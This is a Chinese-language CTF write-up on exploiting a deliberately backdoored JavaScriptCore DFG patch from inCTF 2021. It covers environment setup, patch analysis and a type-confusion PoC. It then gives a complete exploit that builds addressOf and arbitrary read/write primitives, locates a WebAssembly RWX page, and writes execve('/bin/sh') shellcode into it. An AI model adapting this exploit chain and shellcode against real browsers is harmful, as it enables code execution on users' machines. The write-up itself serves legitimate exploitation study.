前言
最近一直在入门浏览器的利用,然后一直都在搞 V8
,然后接触的比较多的都是一些混淆、越界的洞,希望后面可以入门 jit
然后在今年的阿里云 CTF
中看到了一道 jsc
相关的题目,当时本来想做一做的,但是环境一直没有搭建好(当然了,搭建好了也不一定会,太菜了,笔者这个比赛就做了一道签到 pwn
)。然后后面又找到了一道 2021 年 inCTF
中的一道题目,看这道题目比较简单,所以这里打算以这个题目来入门下 jsc
的利用
注:笔者不会介绍相关前置知识,比如 jsc
中对象的内存布局等,所以如果遇到一些不懂的前置知识,请自行搜索学习。而且文章的关键在于漏洞分析的过程,对于漏洞利用,笔者不会过多解释,因为其与 V8
的利用没有什么本质的区别
环境搭建
题目环境:题目当时的环境是 ubu18.04
,这里笔者用的 ubu20.04
搭建的,因为题目把一些调试相关的函数给 patch
去掉了,所以这里自己修改编译一份便于调试
sudo apt install cmake
sudo apt install ruby
sudo apt install libicu-dev
git clone https://github.com/WebKit/WebKit.git
cd WebKit
git checkout c40e806df2c49dac3049825cf48251a230296c6e
patch -p1 < ../DFGHandout/dfg.patch ⇐ 把 descripe 相关注释去掉
Tools/Scripts/build-webkit --jsc-only --debug
这里拉取源码时,最好使用 SSH
协议,因为源码大小有 10GB 左右,直接 https
协议大概率会拉取失败,然后编译时虚拟机内存最好给到 16GB 以上,不然可能会编译失败
笔者就是因为这个问题,拉取源码就拉了一早上…
漏洞分析
patch
如下:
diff --git a/Source/JavaScriptCore/dfg/DFGConstantFoldingPhase.cpp b/Source/JavaScriptCore/dfg/DFGConstantFoldingPhase.cpp
index eaeaf85ea2..a395a979b8 100644
--- a/Source/JavaScriptCore/dfg/DFGConstantFoldingPhase.cpp
+++ b/Source/JavaScriptCore/dfg/DFGConstantFoldingPhase.cpp
@@ -41,6 +41,8 @@
#include "PutByIdStatus.h"
#include "StructureCache.h"
+bool backdoorUsed = false;
+
namespace JSC { namespace DFG {
class ConstantFoldingPhase : public Phase {
@@ -185,7 +187,8 @@ private:
indexInBlock, SpecNone, AssertNotEmpty, node->origin, Edge(node->child1().node(), UntypedUse));
}
}
- if (value.m_structure.isSubsetOf(set)) {
+ if (!backdoorUsed || value.m_structure.isSubsetOf(set)) {
+ backdoorUsed = true;
m_interpreter.execute(indexInBlock); // Catch the fact that we may filter on cell.
node->remove(m_graph);
eliminated = true;
diff --git a/Source/JavaScriptCore/jsc.cpp b/Source/JavaScriptCore/jsc.cpp
index 04f2c970c2..4b7d3ca6cc 100644
--- a/Source/JavaScriptCore/jsc.cpp
+++ b/Source/JavaScriptCore/jsc.cpp
@@ -516,7 +516,8 @@ private:
{
Base::finishCreation(vm);
JSC_TO_STRING_TAG_WITHOUT_TRANSITION();
-
+ addFunction(vm, "print", functionPrintStdOut, 1);
+ /*
addFunction(vm, "debug", functionDebug, 1);
addFunction(vm, "describe", functionDescribe, 1);
addFunction(vm, "describeArray", functionDescribeArray, 1);
@@ -671,7 +672,7 @@ private:
addFunction(vm, "asDoubleNumber", functionAsDoubleNumber, 1);
addFunction(vm, "dropAllLocks", functionDropAllLocks, 1);
-
+ */
if (Options::exposeCustomSettersOnGlobalObjectForTesting()) {
{
CustomGetterSetter* custom = CustomGetterSetter::create(vm, nullptr, testCustomAccessorSetter);
这里主要看第一处补丁,第二处是注释了一下调试相关的函数(所以自已编译是时候把注释去了),第一次补丁打在了 ConstantFoldingPhase
中,其设置了一个 backdoorUsed
全局变量,使得 if
分支第一次总是成立,根据名字可以知道其作用是进行常数折叠:
bool foldConstants(BasicBlock* block)
{
bool changed = false;
m_state.beginBasicBlock(block);
for (unsigned indexInBlock = 0; indexInBlock < block->size(); ++indexInBlock) {
if (!m_state.isValid())
break;
Node* node = block->at(indexInBlock);
bool alreadyHandled = false;
bool eliminated = false;
switch (node->op()) {
......
case CheckStructure:
case ArrayifyToStructure: {
AbstractValue& value = m_state.forNode(node->child1());
RegisteredStructureSet set;
if (node->op() == ArrayifyToStructure) {
set = node->structure();
ASSERT(!isCopyOnWrite(node->structure()->indexingMode()));
}
else {
set = node->structureSet();
if ((SpecCellCheck & SpecEmpty) && node->child1().useKind() == CellUse && m_state.forNode(node->child1()).m_type & SpecEmpty) {
m_insertionSet.insertNode(
indexInBlock, SpecNone, AssertNotEmpty, node->origin, Edge(node->child1().node(), UntypedUse));
}
}
if (!backdoorUsed || value.m_structure.isSubsetOf(set)) {
backdoorUsed = true;
m_interpreter.execute(indexInBlock); // Catch the fact that we may filter on cell.
node->remove(m_graph);
eliminated = true;
break;
}
break;
}
......
这里 CheckStructure
和 ArrayifyToStructure
会走到漏洞代码逻辑,这里的 CheckStructure
可以理解为 V8
中的 CheckMap
,所以这里相当于是直接去除第一个 CheckStructure
检查,所以这里明显引入了一个类型混淆漏洞。
poc
如下:
var obj1 = {a:1, b:2, c:3, d:4};
var obj2 = {a:1, b:2};
var obj3 = {a:1, b:2};
function trigger(obj, val) {
obj.d = val;
}
for (let i = 0; i < 100; i++) {
trigger(obj1, 10);
}
debug(describe(obj1));
debug(describe(obj2));
debug(describe(obj3));
readline();
trigger(obj2, 10);
debug(describe(obj2));
debug(describe(obj3));
readline();
调试分析:
开始时 obj2/obj3
内存布局如下:这里 obj2/3
是相邻的
执行完 trigger(obj2, 10)
后:
可以看到 obj3
的 buffterfly
被修改成了 10(这里存在 box
处理,其实就是加了一个 tag
)
漏洞利用
漏洞利用比较简单,主要就是去构造 addressOf
和 arb_read/write
原语:
- 利用类型混淆漏洞修改
obj3
对象的butterfly
为obj4
对象 - 然后就可以利用
obj3
索引属性读取obj4
的命名属性,从而构造addressOf
原语 - 利用
obj3
索引属性修改obj4
的butterfly
即可实现任意地址读写,但是得需要target_addr - 8
字段满足cap|len
不为 0 的要求
这里可能需要关注下
jsc
中jsvalue
的box/unbox
,当然这里就不多说了,自己调试调试就可以总结出来了
还有就是这里wasm
的rwx
区域地址得在pwn
中泄漏,在wasm_instance
中没有找到
exp
如下:
var buf = new ArrayBuffer(8);
var u8 = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
function pair_u32_to_f64(l, h) {
u32[0] = l;
u32[1] = h;
return f64[0];
}
function u64_to_f64(val) {
u64[0] = val;
return f64[0];
}
function f64_to_u64(val) {
f64[0] = val;
return u64[0];
}
function set_u64(val) {
u64[0] = val;
}
function set_l(l) {
u32[0] = l;
}
function set_h(h) {
u32[1] = h;
}
function get_l() {
return u32[0];
}
function get_h() {
return u32[1];
}
function get_u64() {
return u64[0];
}
function get_f64() {
return f64[0];
}
function get_fl(val) {
f64[0] = val;
return u32[0];
}
function get_fh(val) {
f64[0] = val;
return u32[1];
}
function hexx(str, val) {
print(str+": 0x"+val.toString(16));
}
var obj1 = {a:1.1, b:2.2, c:3.3, d:4.4, e:5.5};
var obj2 = {a:1.1, b:2.2};
var obj3 = {a:1.1, b:2.2, 0:1.1, 1:2.2};
var obj4 = {a:1.1, b:2.2, 0:1.1, 1:2.2};
function trigger(obj, val) {
obj.d = val;
}
for (let i = 0; i < 100; i++) {
trigger(obj1, obj4);
}
trigger(obj2, obj4);
function addressOf(obj) {
obj4.a = obj;
return f64_to_u64(obj3[2]);
}
function arb_read(addr) {
obj3[1] = u64_to_f64(addr);
return f64_to_u64(obj4[0]);
}
function arb_write(addr, val) {
obj3[1] = u64_to_f64(addr);
obj4[0] = u64_to_f64(val);;
}
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
128,0,1,96,0,1,127,3,130,128,128,128,
0,1,0,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,
0,0,7,145,128,128,128,0,2,6,109,101,109,111,
114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
var wasm_instance_addr = addressOf(wasm_instance);
var pwn_addr = addressOf(pwn);
hexx("wasm_instance_addr", wasm_instance_addr);
hexx("pwn_addr", pwn_addr);
var rwx_addr = arb_read(pwn_addr+0x38n);
hexx("rwx_addr", rwx_addr);
for (let i = 0; i < shellcode.length; i++) {
arb_write(rwx_addr, shellcode[i]);
rwx_addr += 8n;
}
pwn();
效果如下:
总结
总体来说该题目作为入门题还是可以的,主要可以熟悉一下 jsc
中各种对象的内存布局,但笔者感觉跟 jsc
没啥关系,或者说没有学习到 jsc
的一些特性,看网上关于 jsc
的资料比较少,希望后面可以好好学一下吧。